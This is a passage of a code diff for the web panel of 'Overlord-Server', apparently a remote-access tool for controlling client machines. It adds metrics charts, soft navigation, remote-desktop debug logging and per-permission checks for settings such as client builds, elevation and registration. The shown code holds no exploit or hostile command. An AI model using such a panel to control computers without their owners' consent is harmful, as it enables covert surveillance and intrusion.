clientsChart.update("none");
- const commandsData = history.map((h) => h.commandsPerMinute);
+ const commandsData = points.map((h) => h.commandsPerMinute || 0);
commandsChart.data.labels = labels;
commandsChart.data.datasets[0].data = commandsData;
commandsChart.update("none");
+
+ if (bandwidthChart) {
+ bandwidthChart.data.labels = labels;
+ bandwidthChart.data.datasets[0].data = points.map((h) => h.bandwidthSent || 0);
+ bandwidthChart.data.datasets[1].data = points.map((h) => h.bandwidthReceived || 0);
+ bandwidthChart.update("none");
+ }
+
+ if (httpChart) {
+ httpChart.data.labels = labels;
+ httpChart.data.datasets[0].data = points.map((h) => h.httpLatencyP99 || 0);
+ httpChart.data.datasets[1].data = points.map((h) => h.httpLatencyP95 || 0);
+ httpChart.data.datasets[2].data = points.map((h) => h.httpLatencyAvg || 0);
+ httpChart.update("none");
+ }
+
+ if (httpRequestsChart) {
+ httpRequestsChart.data.labels = labels;
+ httpRequestsChart.data.datasets[0].data = points.map((h) => h.httpRequestsPerMinute || 0);
+ httpRequestsChart.data.datasets[1].data = points.map((h) => h.httpErrorsPerMinute || 0);
+ httpRequestsChart.update("none");
+ }
+
+ if (memoryChart) {
+ memoryChart.data.labels = labels;
+ memoryChart.data.datasets[0].data = points.map((h) => h.heapUsed || 0);
+ memoryChart.data.datasets[1].data = points.map((h) => h.rss || 0);
+ memoryChart.data.datasets[2].data = points.map((h) => h.systemMemoryUsedPercent || 0);
+ memoryChart.update("none");
+ }
+
+ if (eventLoopChart) {
+ eventLoopChart.data.labels = labels;
+ eventLoopChart.data.datasets[0].data = points.map((h) => h.eventLoopP95 || 0);
+ eventLoopChart.data.datasets[1].data = points.map((h) => h.eventLoopAvg || 0);
+ eventLoopChart.update("none");
+ }
}
async function fetchMetrics() {
try {
- const response = await fetch("/api/metrics", {
+ const response = await fetch(`/api/metrics?historyLimit=${MAX_CHART_POINTS}`, {
credentials: "include",
});
@@ -589,7 +1061,7 @@ document.addEventListener("DOMContentLoaded", async () => {
await fetchMetrics();
- setInterval(fetchMetrics, 2000);
+ setInterval(fetchMetrics, METRICS_POLL_INTERVAL_MS);
const logoutBtn = document.getElementById("logout-btn");
if (logoutBtn && !logoutBtn.dataset.boundLogout) {
diff --git a/Overlord-Server/public/assets/nav.js b/Overlord-Server/public/assets/nav.js
index 9fceded..f953bc6 100644
--- a/Overlord-Server/public/assets/nav.js
+++ b/Overlord-Server/public/assets/nav.js
@@ -12,13 +12,19 @@ import { createAdaptiveNavController } from "./nav/layout.js";
import { applyUserRoleUI, applyThumbnailWallVisibility } from "./nav/role-ui.js";
import { loadPluginNavItems } from "./nav/plugins-loader.js";
import { init as initCommandPalette } from "./command-palette.js";
+import {
+ installPageResourceTracker,
+ runWithoutPageTracking,
+ setupSoftNavigation,
+ startPageTracking,
+} from "./soft-nav.js";
const host = document.getElementById("top-nav");
if (host) {
const refs = mountNav(host);
initCommandPalette();
import("./cert-banner.js").then(({ showCertBannerIfNeeded }) => {
- showCertBannerIfNeeded(document.getElementById("sb-mobile-bar") || host);
+ runWithoutPageTracking(() => showCertBannerIfNeeded(document.getElementById("sb-mobile-bar") || host));
});
const { applyAdaptiveNavLayout, navHide } = createAdaptiveNavController(host, refs);
@@ -30,6 +36,7 @@ if (host) {
const activeMap = {
"/": "nav-clients",
"/metrics": "metrics-link",
+ "/graph": "graph-link",
"/screenshots": "screenshots-link",
"/logs": "logs-link",
"/scripts": "scripts-link",
@@ -44,13 +51,18 @@ if (host) {
"/purgatory": "enrollment-link",
};
- loadPluginNavItems(activeMap).then(() => {
- const activeId = activeMap[path];
+ const applyActivePath = (nextPath = window.location.pathname) => {
+ host.querySelectorAll(".nav-active").forEach((el) => el.classList.remove("nav-active"));
+ host.querySelectorAll(".sb-group-btn[aria-expanded='true']").forEach((btn) => btn.setAttribute("aria-expanded", "false"));
+ host.querySelectorAll(".sb-group-children.sb-group-open").forEach((children) => children.classList.remove("sb-group-open"));
+ host.querySelectorAll(".sb-chevron.sb-chevron-open").forEach((chevron) => chevron.classList.remove("sb-chevron-open"));
+ refs.accountSettingsBtn?.classList.remove("ring-1", "ring-sky-500/60", "bg-slate-700");
+
+ const activeId = activeMap[nextPath];
if (activeId) {
const el = document.getElementById(activeId);
if (el) {
el.classList.add("nav-active");
- // Also expand the parent sidebar group if applicable
const group = el.closest(".sb-group");
if (group) {
const btn = group.querySelector(".sb-group-btn");
@@ -62,6 +74,14 @@ if (host) {
}
}
}
+
+ if (nextPath === "/settings" && refs.accountSettingsBtn) {
+ refs.accountSettingsBtn.classList.add("ring-1", "ring-sky-500/60", "bg-slate-700");
+ }
+ };
+
+ loadPluginNavItems(activeMap).then(() => {
+ applyActivePath(path);
});
if (refs.logoutBtn && !refs.logoutBtn.dataset.boundLogout) {
@@ -91,14 +111,14 @@ if (host) {
if (refs.accountSettingsBtn && !refs.accountSettingsBtn.dataset.boundSettings) {
refs.accountSettingsBtn.dataset.boundSettings = "true";
refs.accountSettingsBtn.addEventListener("click", () => {
- window.location.href = "/settings";
+ if (window.overlordSoftNavigate) {
+ window.overlordSoftNavigate("/settings");
+ } else {
+ window.location.href = "/settings";
+ }
});
}
- if (path === "/settings" && refs.accountSettingsBtn) {
- refs.accountSettingsBtn.classList.add("ring-1", "ring-sky-500/60", "bg-slate-700");
- }
-
const updateToggle = () => {
const enabled = getNotificationsEnabled();
if (refs.notifyToggle) {
@@ -139,6 +159,32 @@ if (host) {
}
});
+ const prefetchedPages = new Set();
+ const prefetchPage = (href) => {
+ try {
+ const url = new URL(href, window.location.href);
+ if (url.origin !== window.location.origin) return;
+ if (url.pathname === window.location.pathname && url.search === window.location.search) return;
+ const key = `${url.pathname}${url.search}`;
+ if (prefetchedPages.has(key)) return;
+ prefetchedPages.add(key);
+ const link = document.createElement("link");
+ link.rel = "prefetch";
+ link.as = "document";
+ link.href = key;
+ document.head.appendChild(link);
+ } catch {}
+ };
+
+ host.addEventListener("pointerenter", (event) => {
+ const link = event.target?.closest?.("a[href]");
+ if (link) prefetchPage(link.getAttribute("href"));
+ }, true);
+ host.addEventListener("focusin", (event) => {
+ const link = event.target?.closest?.("a[href]");
+ if (link) prefetchPage(link.getAttribute("href"));
+ });
+
async function loadCurrentUser() {
try {
const res = await fetch("/api/auth/me", { credentials: "include" });
@@ -178,19 +224,25 @@ if (host) {
}
import("./chat-widget.js").then((chatWidget) => {
- chatWidget.init();
+ runWithoutPageTracking(() => {
+ chatWidget.init();
- if (chatWidget.isHidden() && refs.navUtility) {
- const restoreBtn = document.createElement("button");
- restoreBtn.id = "chat-restore-btn";
- restoreBtn.className = "inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-slate-900/70 border border-slate-800 text-slate-500 hover:text-slate-300 hover:bg-slate-800 text-xs transition-colors";
- restoreBtn.title = "Show team chat";
- restoreBtn.innerHTML = 'Chat';
- restoreBtn.addEventListener("click", () => {
- chatWidget.show();
- restoreBtn.remove();
- });
- refs.navUtility.insertBefore(restoreBtn, refs.navUtility.firstChild);
- }
+ if (chatWidget.isHidden() && refs.navUtility) {
+ const restoreBtn = document.createElement("button");
+ restoreBtn.id = "chat-restore-btn";
+ restoreBtn.className = "inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-slate-900/70 border border-slate-800 text-slate-500 hover:text-slate-300 hover:bg-slate-800 text-xs transition-colors";
+ restoreBtn.title = "Show team chat";
+ restoreBtn.innerHTML = 'Chat';
+ restoreBtn.addEventListener("click", () => {
+ chatWidget.show();
+ restoreBtn.remove();
+ });
+ refs.navUtility.insertBefore(restoreBtn, refs.navUtility.firstChild);
+ }
+ });
});
+
+ installPageResourceTracker();
+ setupSoftNavigation(host, { onPathChange: applyActivePath });
+ startPageTracking();
}
diff --git a/Overlord-Server/public/assets/nav/template.js b/Overlord-Server/public/assets/nav/template.js
index f346ab7..77aa4d9 100644
--- a/Overlord-Server/public/assets/nav/template.js
+++ b/Overlord-Server/public/assets/nav/template.js
@@ -63,6 +63,7 @@ export const NAV_GROUPS = [
iconColor: "text-emerald-400",
children: [
{ href: "/metrics", label: "Metrics", icon: "fa-chart-line", iconColor: "text-emerald-400", linkId: "metrics-link" },
+ { href: "/graph", label: "Graph", icon: "fa-diagram-project", iconColor: "text-cyan-400", linkId: "graph-link" },
{ href: "/screenshots", label: "Screenshot Wall", icon: "fa-images", iconColor: "text-sky-400", linkId: "screenshots-link", hidden: true },
],
},
diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js
index ce6c337..8871285 100644
--- a/Overlord-Server/public/assets/remotedesktop.js
+++ b/Overlord-Server/public/assets/remotedesktop.js
@@ -111,6 +111,15 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
let clientOs = "";
let clientIsAdmin = false;
let firewallWarningAcked = false;
+ let firstFrameLogged = false;
+
+ function rdDebug(label, data = {}) {
+ try {
+ console.debug(`rd: ${label} ${JSON.stringify(data)}`);
+ } catch {
+ console.debug(`rd: ${label}`, data);
+ }
+ }
function resetH264RuntimeState() {
h264TimestampUs = 0;
@@ -730,6 +739,14 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
function handleStatus(msg) {
if (!msg || msg.type !== "status" || !msg.status) return;
+ rdDebug("status", {
+ status: msg.status,
+ reason: msg.reason || "",
+ desiredStreaming,
+ streamState,
+ lastFrameAgeMs: lastFrameAt ? Math.round(performance.now() - lastFrameAt) : null,
+ sessionId: msg.sessionId || "",
+ });
if (msg.status === "offline") {
scheduleOffline(msg.reason);
return;
@@ -880,10 +897,26 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
return;
}
if (ws.readyState !== WebSocket.OPEN) {
+ rdDebug("send skipped websocket not open", {
+ type,
+ readyState: ws.readyState,
+ streamState,
+ desiredStreaming,
+ });
return;
}
const msg = { type, ...payload };
- console.debug("rd: send", msg);
+ rdDebug("send", {
+ msg,
+ readyState: ws.readyState,
+ streamState,
+ desiredStreaming,
+ display: displaySelect?.value ?? "",
+ quality: qualitySlider?.value ?? "",
+ resolution: resolutionSelect?.value ?? "",
+ transport: getWebrtcMode(),
+ lastFrameAgeMs: lastFrameAt ? Math.round(performance.now() - lastFrameAt) : null,
+ });
ws.send(encodeMsgpack(msg));
}
@@ -1021,6 +1054,13 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
const res = await fetch("/api/clients");
const data = await res.json();
const client = data.items.find((c) => c.id === activeClientId);
+ rdDebug("client info", {
+ found: !!client,
+ monitors: client?.monitors,
+ monitorInfo: client?.monitorInfo,
+ os: client?.os || "",
+ isAdmin: !!client?.isAdmin,
+ });
if (client) {
clientLabel.textContent = `${client.host || client.id} (${client.os || ""})`;
clientOs = (client.os || "").toLowerCase();
@@ -1115,6 +1155,19 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
startBtn.addEventListener("click", function () {
const mode = getWebrtcMode();
+ rdDebug("start click", {
+ mode,
+ wsReadyState: ws.readyState,
+ streamState,
+ desiredStreaming,
+ display: displaySelect?.value ?? "",
+ quality: qualitySlider?.value ?? "",
+ resolution: resolutionSelect?.value ?? "",
+ prefersH264,
+ duplication: !!duplicationCtrl?.checked,
+ clientOs,
+ clientIsAdmin,
+ });
if (needsWebrtcFirewallWarning(mode)) {
if (!confirm("This agent is not elevated. Starting WebRTC will trigger a Windows Defender Firewall prompt on the target machine.\n\nContinue?")) {
return;
@@ -1132,6 +1185,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
pushResolution();
desiredStreaming = true;
lastFrameAt = 0;
+ firstFrameLogged = false;
resetH264SessionState();
setStreamState("starting", "Starting stream");
if (mode === "relayed") {
@@ -1267,6 +1321,15 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
function markFrameReceived() {
lastFrameAt = performance.now();
clearOfflineTimer();
+ if (!firstFrameLogged) {
+ firstFrameLogged = true;
+ rdDebug("first frame received", {
+ streamState,
+ desiredStreaming,
+ canvas: { width: canvas.width, height: canvas.height },
+ transport: getWebrtcMode(),
+ });
+ }
if (streamState !== "streaming" && desiredStreaming) {
setStreamState("streaming", "Streaming");
}
@@ -1700,6 +1763,11 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
});
ws.addEventListener("open", function () {
+ rdDebug("ws open", {
+ url: ws.url,
+ readyState: ws.readyState,
+ clientId,
+ });
if (qualitySlider) {
pushQuality(qualitySlider.value);
}
@@ -1718,7 +1786,14 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
});
});
- ws.addEventListener("close", function () {
+ ws.addEventListener("close", function (event) {
+ rdDebug("ws close", {
+ code: event.code,
+ reason: event.reason,
+ wasClean: event.wasClean,
+ streamState,
+ desiredStreaming,
+ });
desiredStreaming = false;
disconnectAudio();
destroyVideoDecoder();
@@ -1729,7 +1804,8 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
setStreamState("disconnected", "Disconnected");
});
- ws.addEventListener("error", function () {
+ ws.addEventListener("error", function (event) {
+ console.warn("rd: ws error", event);
destroyVideoDecoder();
stopAllWebrtc();
setStreamState("error", "WebSocket error");
diff --git a/Overlord-Server/public/assets/settings.js b/Overlord-Server/public/assets/settings.js
index caebeb4..435a4cf 100644
--- a/Overlord-Server/public/assets/settings.js
+++ b/Overlord-Server/public/assets/settings.js
@@ -124,7 +124,7 @@ function formatDate(timestamp) {
}
function canManageClientBans(role) {
- return role === "admin" || role === "operator";
+ return userHas("network:manage-bans");
}
function isAdmin(role) {
@@ -135,6 +135,12 @@ function userHas(perm) {
return !!currentUser?.permissions?.includes(perm);
}
+function requireUiPermission(perm, message = "You do not have permission for this setting.") {
+ if (userHas(perm)) return true;
+ showMessage(message, "error");
+ return false;
+}
+
function applyPermissionVisibility() {
document.querySelectorAll("[data-permission]").forEach((el) => {
const perm = el.dataset.permission;
@@ -164,6 +170,91 @@ function applyPermissionVisibility() {
}
}
+async function renderPermissionsOverview() {
+ const container = document.getElementById("settings-permissions-summary");
+ if (!container || !currentUser) return;
+
+ const granted = new Set(currentUser.permissions || []);
+ let catalog = [];
+ try {
+ const res = await fetch("/api/permissions", { credentials: "include" });
+ if (res.ok) {
+ const data = await res.json().catch(() => ({}));
+ catalog = Array.isArray(data.permissions) ? data.permissions : [];
+ }
+ } catch {}
+
+ const byId = new Map(catalog.map((perm) => [perm.id, perm.description]));
+ const groups = [
+ {
+ title: "User Administration",
+ icon: "fa-users-gear",
+ perms: ["users:manage", "audit:view"],
+ },
+ {
+ title: "Client Operations",
+ icon: "fa-desktop",
+ perms: [
+ "clients:control",
+ "clients:build",
+ "clients:metadata",
+ "clients:disconnect",
+ "clients:reconnect",
+ "clients:uninstall",
+ "clients:elevate",
+ "clients:winre",
+ ],
+ },
+ {
+ title: "System Settings",
+ icon: "fa-sliders",
+ perms: [
+ "system:security",
+ "system:tls",
+ "system:registration",
+ "system:notifications",
+ "system:chat",
+ "system:appearance",
+ "system:thumbnails",
+ "system:build-limits",
+ "system:export-import",
+ "system:health",
+ "system:health:manage",
+ "system:profiler",
+ ],
+ },
+ ];
+
+ container.innerHTML = groups
+ .map((group) => {
+ const rows = group.perms
+ .map((perm) => {
+ const has = granted.has(perm);
+ return `
+
+
+
${escapeHtml(perm)}
+
${escapeHtml(byId.get(perm) || "")}
+
+
+
+
+
+ `;
+ })
+ .join("");
+ return `
+
+
+ ${escapeHtml(group.title)}
+
+
${rows}
+
+ `;
+ })
+ .join("");
+}
+
function getPasswordRequirementsText() {
const minLength = Number(securityConfig?.passwordMinLength) || 6;
const requirements = [`min ${minLength} chars`];
@@ -256,7 +347,7 @@ function applySecurityForm() {
async function loadSecurityPolicy() {
if (!currentUser) return;
- if (!isAdmin(currentUser.role)) {
+ if (!userHas("system:security")) {
securityPermissionNote.classList.remove("hidden");
setSecurityFormDisabled(true);
securityConfig = {
@@ -301,7 +392,7 @@ function applyTlsForm() {
async function loadTlsSettings() {
if (!currentUser) return;
- if (!isAdmin(currentUser.role)) {
+ if (!userHas("system:tls")) {
tlsPermissionNote.classList.remove("hidden");
setTlsFormDisabled(true);
tlsConfig = {
@@ -559,8 +650,7 @@ function savePrefs(event) {
async function saveSecurityPolicy(event) {
event.preventDefault();
- if (!isAdmin(currentUser?.role)) {
- showMessage("Admin role required.", "error");
+ if (!requireUiPermission("system:security", "Security policy permission required.")) {
return;
}
@@ -598,8 +688,7 @@ async function saveSecurityPolicy(event) {
async function saveTlsSettings(event) {
event.preventDefault();
- if (!isAdmin(currentUser?.role)) {
- showMessage("Admin role required.", "error");
+ if (!requireUiPermission("system:tls", "TLS settings permission required.")) {
return;
}
@@ -633,8 +722,7 @@ async function saveTlsSettings(event) {
}
async function runCertbotAutoSetup() {
- if (!isAdmin(currentUser?.role)) {
- showMessage("Admin role required.", "error");
+ if (!requireUiPermission("system:tls", "TLS settings permission required.")) {
return;
}
@@ -1079,7 +1167,7 @@ function initSettingsSidebar() {
async function loadAppearanceSettings() {
if (!currentUser) return;
- if (!isAdmin(currentUser.role)) {
+ if (!userHas("system:appearance")) {
if (appearancePermissionNote) appearancePermissionNote.classList.remove("hidden");
if (appearanceCustomCssInput) appearanceCustomCssInput.disabled = true;
if (appearanceSaveBtn) appearanceSaveBtn.disabled = true;
@@ -1104,8 +1192,7 @@ async function loadAppearanceSettings() {
async function saveAppearanceSettings(event) {
event.preventDefault();
- if (!isAdmin(currentUser?.role)) {
- showMessage("Admin role required.", "error");
+ if (!requireUiPermission("system:appearance", "Appearance settings permission required.")) {
return;
}
@@ -1136,7 +1223,7 @@ const chatSettingsForm = document.getElementById("chat-settings-form");
const chatRetentionDaysInput = document.getElementById("chat-retention-days");
async function loadChatSettings() {
- if (!isAdmin(currentUser?.role)) return;
+ if (!userHas("system:chat")) return;
if (chatSettingsSection) chatSettingsSection.classList.remove("hidden");
try {
const res = await fetch("/api/settings/chat", { credentials: "include" });
@@ -1151,8 +1238,7 @@ async function loadChatSettings() {
async function saveChatSettings(event) {
event.preventDefault();
- if (!isAdmin(currentUser?.role)) {
- showMessage("Admin role required.", "error");
+ if (!requireUiPermission("system:chat", "Team chat settings permission required.")) {
return;
}
@@ -1198,6 +1284,10 @@ function showExportImportMessage(text, type = "ok") {
}
async function exportSettings() {
+ if (!requireUiPermission("system:export-import", "Export/import settings permission required.")) {
+ return;
+ }
+
try {
const res = await fetch("/api/settings/export", { credentials: "include" });
if (!res.ok) {
@@ -1227,6 +1317,11 @@ async function exportSettings() {
}
async function importSettings(event) {
+ if (!requireUiPermission("system:export-import", "Export/import settings permission required.")) {
+ event.target.value = "";
+ return;
+ }
+
const file = event.target.files?.[0];
if (!file) return;
@@ -1486,6 +1581,8 @@ async function handleRemoveInactiveSessions() {
// ── Registration Settings ──────────────────────────────────────────────────
async function loadRegistrationSettings() {
+ if (!userHas("system:registration")) return;
+
try {
const [regRes, groupsRes] = await Promise.all([
fetch("/api/settings/registration", { credentials: "include" }),
@@ -1522,8 +1619,8 @@ async function loadRegistrationSettings() {
}
updateRegSubsections(reg.mode || "off");
- if (reg.mode === "key") loadRegistrationKeys();
- if (reg.mode === "approval") loadPendingRegistrations();
+ if (reg.mode === "key" && userHas("users:manage")) loadRegistrationKeys();
+ if (reg.mode === "approval" && userHas("users:manage")) loadPendingRegistrations();
} catch (e) {
console.error("Failed to load registration settings", e);
}
@@ -1532,8 +1629,8 @@ async function loadRegistrationSettings() {
function updateRegSubsections(mode) {
const keySection = document.getElementById("reg-key-section");
const pendingSection = document.getElementById("reg-pending-section");
- if (keySection) keySection.classList.toggle("hidden", mode !== "key");
- if (pendingSection) pendingSection.classList.toggle("hidden", mode !== "approval");
+ if (keySection) keySection.classList.toggle("hidden", mode !== "key" || !userHas("users:manage"));
+ if (pendingSection) pendingSection.classList.toggle("hidden", mode !== "approval" || !userHas("users:manage"));
}
function showRegMsg(text, type) {
@@ -1547,6 +1644,10 @@ function showRegMsg(text, type) {
async function saveRegistrationSettings(e) {
e.preventDefault();
+ if (!requireUiPermission("system:registration", "Registration settings permission required.")) {
+ return;
+ }
+
const mode = document.getElementById("reg-mode")?.value;
const defaultRole = document.getElementById("reg-default-role")?.value;
const maxUsersTotal = Number(document.getElementById("reg-max-users")?.value) || 0;
@@ -1568,14 +1669,15 @@ async function saveRegistrationSettings(e) {
}
showRegMsg("Registration settings saved.", "success");
updateRegSubsections(mode);
- if (mode === "key") loadRegistrationKeys();
- if (mode === "approval") loadPendingRegistrations();
+ if (mode === "key" && userHas("users:manage")) loadRegistrationKeys();
+ if (mode === "approval" && userHas("users:manage")) loadPendingRegistrations();
} catch {
showRegMsg("Network error.", "error");
}
}
async function loadRegistrationKeys() {
+ if (!userHas("users:manage")) return;
const tbody = document.getElementById("reg-keys-tbody");
if (!tbody) return;
try {
@@ -1608,6 +1710,10 @@ async function loadRegistrationKeys() {
}
async function generateRegistrationKeys() {
+ if (!requireUiPermission("users:manage", "User management permission required to generate registration keys.")) {
+ return;
+ }
+
const count = Number(document.getElementById("reg-key-count")?.value) || 1;
const label = document.getElementById("reg-key-label")?.value || undefined;
const expiresInHours = Number(document.getElementById("reg-key-expires")?.value) || undefined;
@@ -1631,6 +1737,10 @@ async function generateRegistrationKeys() {
}
async function deleteRegistrationKey(keyId) {
+ if (!requireUiPermission("users:manage", "User management permission required to delete registration keys.")) {
+ return;
+ }
+
try {
const res = await fetch(`/api/registration/keys/${keyId}`, {
method: "DELETE",
@@ -1641,6 +1751,7 @@ async function deleteRegistrationKey(keyId) {
}
async function loadPendingRegistrations() {
+ if (!userHas("users:manage")) return;
const tbody = document.getElementById("reg-pending-tbody");
const emptyEl = document.getElementById("reg-pending-empty");
if (!tbody) return;
@@ -1673,6 +1784,10 @@ async function loadPendingRegistrations() {
}
async function handlePendingAction(id, action) {
+ if (!requireUiPermission("users:manage", "User management permission required to approve registrations.")) {
+ return;
+ }
+
try {
const res = await fetch(`/api/registration/pending/${id}/${action}`, {
method: "POST",
@@ -1697,8 +1812,8 @@ function initRegistrationHandlers() {
const modeEl = document.getElementById("reg-mode");
if (modeEl) modeEl.addEventListener("change", () => {
updateRegSubsections(modeEl.value);
- if (modeEl.value === "key") loadRegistrationKeys();
- if (modeEl.value === "approval") loadPendingRegistrations();
+ if (modeEl.value === "key" && userHas("users:manage")) loadRegistrationKeys();
+ if (modeEl.value === "approval" && userHas("users:manage")) loadPendingRegistrations();
});
const genBtn = document.getElementById("reg-key-generate-btn");
@@ -1726,6 +1841,8 @@ function initRegistrationHandlers() {
// ── Build Rate Limit Settings ──────────────────────────────────────────────
async function loadBuildRateLimitSettings() {
+ if (!userHas("system:build-limits")) return;
+
try {
const res = await fetch("/api/settings/build-rate-limit", { credentials: "include" });
if (!res.ok) return;
@@ -1753,6 +1870,10 @@ function showBrlMsg(text, type) {
async function saveBuildRateLimitSettings(e) {
e.preventDefault();
+ if (!requireUiPermission("system:build-limits", "Build rate limit settings permission required.")) {
+ return;
+ }
+
const maxBuildsPerHour = Number(document.getElementById("brl-max-per-hour")?.value) || 5;
const maxConcurrentPerUser = Number(document.getElementById("brl-max-concurrent-user")?.value) || 1;
const globalMaxConcurrent = Number(document.getElementById("brl-global-concurrent")?.value) || 3;
@@ -1783,6 +1904,8 @@ function initBuildRateLimitHandlers() {
// ── Thumbnail Settings ────────────────────────────────────────────────────
async function loadThumbnailSettings() {
+ if (!userHas("system:thumbnails")) return;
+
try {
const res = await fetch("/api/settings/thumbnails", { credentials: "include" });
if (!res.ok) return;
@@ -1808,6 +1931,10 @@ function showThumbnailsMsg(text, type) {
async function saveThumbnailSettings(e) {
e.preventDefault();
+ if (!requireUiPermission("system:thumbnails", "Thumbnail settings permission required.")) {
+ return;
+ }
+
const dashboardEnabled = !!document.getElementById("thumb-dashboard-enabled")?.checked;
const wallEnabled = !!document.getElementById("thumb-wall-enabled")?.checked;
try {
@@ -1858,6 +1985,8 @@ function formatUptime(totalSeconds) {
let latestServerCpuProfile = null;
async function loadHealthStats() {
+ if (!userHas("system:health")) return;
+
const loading = document.getElementById("health-loading");
const content = document.getElementById("health-content");
if (loading) { loading.innerHTML = 'Loading...'; loading.classList.remove("hidden"); }
@@ -2060,6 +2189,10 @@ function renderServerProfileResults(data) {
}
async function runServerProfile() {
+ if (!requireUiPermission("system:profiler", "Server profiler permission required.")) {
+ return;
+ }
+
const btn = document.getElementById("server-profile-btn");
const durationEl = document.getElementById("server-profile-duration");
const durationMs = Number(durationEl?.value || 5000);
@@ -2113,6 +2246,10 @@ function downloadServerCpuProfile() {
}
async function runGC() {
+ if (!requireUiPermission("system:health:manage", "Server health maintenance permission required.")) {
+ return;
+ }
+
const gcBtn = document.getElementById("health-gc-btn");
const msgEl = document.getElementById("health-gc-message");
if (gcBtn) gcBtn.disabled = true;
@@ -2139,6 +2276,14 @@ function initHealthHandlers() {
const gcBtn = document.getElementById("health-gc-btn");
const profileBtn = document.getElementById("server-profile-btn");
const downloadProfileBtn = document.getElementById("server-profile-download-btn");
+ if (gcBtn && !userHas("system:health:manage")) {
+ gcBtn.disabled = true;
+ gcBtn.title = "Requires system:health:manage";
+ }
+ if (profileBtn && !userHas("system:profiler")) {
+ profileBtn.disabled = true;
+ profileBtn.title = "Requires system:profiler";
+ }
if (refreshBtn) refreshBtn.addEventListener("click", loadHealthStats);
if (gcBtn) gcBtn.addEventListener("click", runGC);
if (profileBtn) profileBtn.addEventListener("click", runServerProfile);
@@ -2165,14 +2310,24 @@ async function init() {
await loadChatSettings();
await loadBannedIps();
- if (userHas("system:configure")) {
+ if (userHas("users:manage")) {
+ await renderPermissionsOverview();
+ }
+
+ if (userHas("system:registration")) {
await loadRegistrationSettings();
- await loadBuildRateLimitSettings();
- await loadThumbnailSettings();
- await loadHealthStats();
initRegistrationHandlers();
+ }
+ if (userHas("system:build-limits")) {
+ await loadBuildRateLimitSettings();
initBuildRateLimitHandlers();
+ }
+ if (userHas("system:thumbnails")) {
+ await loadThumbnailSettings();
initThumbnailHandlers();
+ }
+ if (userHas("system:health")) {
+ await loadHealthStats();
initHealthHandlers();
}
diff --git a/Overlord-Server/public/assets/soft-nav.js b/Overlord-Server/public/assets/soft-nav.js
new file mode 100644
index 0000000..758b31c
--- /dev/null
+++ b/Overlord-Server/public/assets/soft-nav.js
@@ -0,0 +1,357 @@
+let installedTracker = false;
+let pageTrackingEnabled = false;
+let navSeq = 0;
+
+const tracked = {
+ events: new Set(),
+ intervals: new Set(),
+ sockets: new Set(),
+ workers: new Set(),
+};
+
+const original = {};
+const loadedClassicScripts = new Set();
+const persistentIds = new Set([
+ "top-nav",
+ "sb-mobile-bar",
+ "sb-backdrop",
+ "nav-reveal-btn",
+ "chat-bubble",
+ "chat-panel",
+ "cert-trust-banner",
+]);
+
+function normalizeUrl(value, base = window.location.href) {
+ try {
+ return new URL(value, base).href;
+ } catch {
+ return value || "";
+ }
+}
+
+function scriptPath(value) {
+ try {
+ return new URL(value, window.location.href).pathname;
+ } catch {
+ return "";
+ }
+}
+
+function shouldSkipScript(script) {
+ const path = scriptPath(script.getAttribute("src") || "");
+ return path === "/assets/nav.js" || path === "/assets/nav-prelude.js";
+}
+
+function isPersistentNode(node) {
+ return node instanceof Element && persistentIds.has(node.id);
+}
+
+function cleanupTrackedResources() {
+ pageTrackingEnabled = false;
+ window.dispatchEvent(new Event("pagehide"));
+
+ for (const id of tracked.intervals) original.clearInterval(id);
+ for (const entry of tracked.events) {
+ original.removeEventListener.call(entry.target, entry.type, entry.listener, entry.options);
+ }
+ for (const socket of tracked.sockets) {
+ try {
+ socket.onopen = null;
+ socket.onmessage = null;
+ socket.onerror = null;
+ socket.onclose = null;
+ socket.close(1000, "soft navigation");
+ } catch {}
+ }
+ for (const worker of tracked.workers) {
+ try {
+ worker.terminate();
+ } catch {}
+ }
+
+ tracked.events.clear();
+ tracked.intervals.clear();
+ tracked.sockets.clear();
+ tracked.workers.clear();
+
+ document.querySelectorAll("script[data-soft-nav-script]").forEach((script) => script.remove());
+ document.getElementById("cmdp-root")?.remove();
+ pageTrackingEnabled = true;
+}
+
+export function runWithoutPageTracking(fn) {
+ const previous = pageTrackingEnabled;
+ pageTrackingEnabled = false;
+ try {
+ const result = fn();
+ if (result && typeof result.then === "function") {
+ return result.finally(() => {
+ pageTrackingEnabled = previous;
+ });
+ }
+ pageTrackingEnabled = previous;
+ return result;
+ } catch (err) {
+ pageTrackingEnabled = previous;
+ throw err;
+ }
+}
+
+export function startPageTracking() {
+ pageTrackingEnabled = true;
+}
+
+export function installPageResourceTracker() {
+ if (installedTracker) return;
+ installedTracker = true;
+
+ document.querySelectorAll("script[src]").forEach((script) => {
+ const src = script.getAttribute("src");
+ if (src && script.type !== "module") loadedClassicScripts.add(normalizeUrl(src));
+ });
+
+ original.addEventListener = EventTarget.prototype.addEventListener;
+ original.removeEventListener = EventTarget.prototype.removeEventListener;
+ original.setInterval = window.setInterval;
+ original.clearInterval = window.clearInterval;
+ original.WebSocket = window.WebSocket;
+ original.Worker = window.Worker;
+
+ EventTarget.prototype.addEventListener = function (type, listener, options) {
+ if (pageTrackingEnabled && listener) {
+ tracked.events.add({ target: this, type, listener, options });
+ }
+ return original.addEventListener.call(this, type, listener, options);
+ };
+
+ EventTarget.prototype.removeEventListener = function (type, listener, options) {
+ for (const entry of tracked.events) {
+ if (entry.target === this && entry.type === type && entry.listener === listener) {
+ tracked.events.delete(entry);
+ }
+ }
+ return original.removeEventListener.call(this, type, listener, options);
+ };
+
+ window.setInterval = function (...args) {
+ const id = original.setInterval.apply(window, args);
+ if (pageTrackingEnabled) tracked.intervals.add(id);
+ return id;
+ };
+
+ window.clearInterval = function (id) {
+ tracked.intervals.delete(id);
+ return original.clearInterval.call(window, id);
+ };
+
+ if (typeof original.WebSocket === "function") {
+ window.WebSocket = function (...args) {
+ const socket = new original.WebSocket(...args);
